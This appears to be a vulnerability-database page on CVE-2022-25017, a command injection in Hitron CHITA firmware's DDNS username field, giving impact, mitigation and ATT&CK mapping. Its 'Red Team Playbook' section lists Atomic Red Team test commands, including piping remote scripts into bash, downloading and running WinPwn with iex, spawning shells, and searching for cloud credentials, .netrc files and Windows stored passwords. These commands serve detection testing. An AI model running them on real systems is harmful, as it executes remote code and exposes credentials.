CVE-2022-25017
Overview
The vulnerability is a command injection flaw rooted in insufficient input validation of the ddnsUsername parameter within the Device/DDNS configuration interface of Hitron CHITA firmware version 7.2.2.0.3b6-CD. This improper sanitization allows crafted input to be executed as system-level commands. The affected component is the DDNS username field in the device's web management interface or API handling this configuration.
Vulnerability Description
Hitron CHITA 7.2.2.0.3b6-CD devices contain a command injection vulnerability via the Device/DDNS ddnsUsername field.
Impact
An attacker with high-level privileges on the device can execute arbitrary system commands, enabling full control over the affected device's operating environment. This may lead to unauthorized configuration changes, data exfiltration, or disruption of device functionality. The exploit requires authenticated access to the device's management interface (PR:H) but does not require user interaction (UI:N). Network access to the device is necessary (AV:N), and the attack complexity is low (AC:L). The vulnerability impacts confidentiality, integrity, and availability (C:H/I:H/A:H) of the device.
Solution
Users should upgrade the Hitron CHITA firmware to a version later than 7.2.2.0.3b6-CD once an official patch is released by Hitron Technology. The provided reference (https://gist.github.com/zaee-k/390b2f8e50407e4b199df806baa7e4ef) contains details on the vulnerability but no official advisory ID or patch version is currently published. Administrators should monitor Hitron's official channels for firmware updates addressing this command injection flaw and apply them promptly to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in specific Hitron CHITA devices allows an attacker to execute arbitrary commands on the affected system. This flaw is rooted in improper validation of user input, particularly in the ddnsUsername field within the Device/DDNS configuration. When a user inputs data into this field, the system fails to sanitize it adequately, enabling an attacker to inject malicious commands. This lack of input validation can lead to unauthorized command execution, potentially compromising the integrity and confidentiality of the device and the network it operates within.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the web interface of the affected devices. An attacker could craft a specially designed HTTP request that includes malicious payloads in the ddnsUsername field. If the device processes this input without proper checks, the attacker could execute arbitrary commands on the underlying operating system. Scenarios may include gaining access to sensitive information, altering device configurations, or even pivoting to other devices on the network. Moreover, if the device is part of a larger infrastructure, such as a corporate network, the implications of successful exploitation could extend far beyond the compromised device itself.
The real-world impact of this vulnerability is significant, particularly for organizations relying on these devices for network connectivity and management. Given the high CVSS score of 8.8, the risk associated with this vulnerability is categorized as critical. An attacker could leverage this flaw to disrupt services, steal sensitive data, or establish a foothold within the network for further attacks. The potential for data breaches and service outages can lead to substantial financial losses, reputational damage, and regulatory repercussions for businesses. Additionally, the interconnected nature of modern networks means that a single compromised device can serve as a gateway for more extensive attacks, amplifying the overall risk.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching the firmware of affected devices is crucial, as manufacturers often release updates that address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, signaling potential exploitation attempts. Furthermore, employing strong access controls and segmenting networks can limit the impact of a successful attack. Organizations should also consider conducting regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the command injection vulnerability in Hitron CHITA devices poses a serious threat to network security. Its exploitation can lead to severe consequences for organizations, making it imperative for cybersecurity professionals to prioritize detection and mitigation strategies. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their critical assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hitrontech | Chita Firmware | 7.2.2.0.3b6-cd |
cpe:2.3:o:hitrontech:chita_firmware:7.2.2.0.3b6-cd:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-25017 |
| gist.github.com |
GitHub CVE
x_refsource_MISC
|
https://gist.github.com/zaee-k/390b2f8e50407e4b199df806baa7e4ef |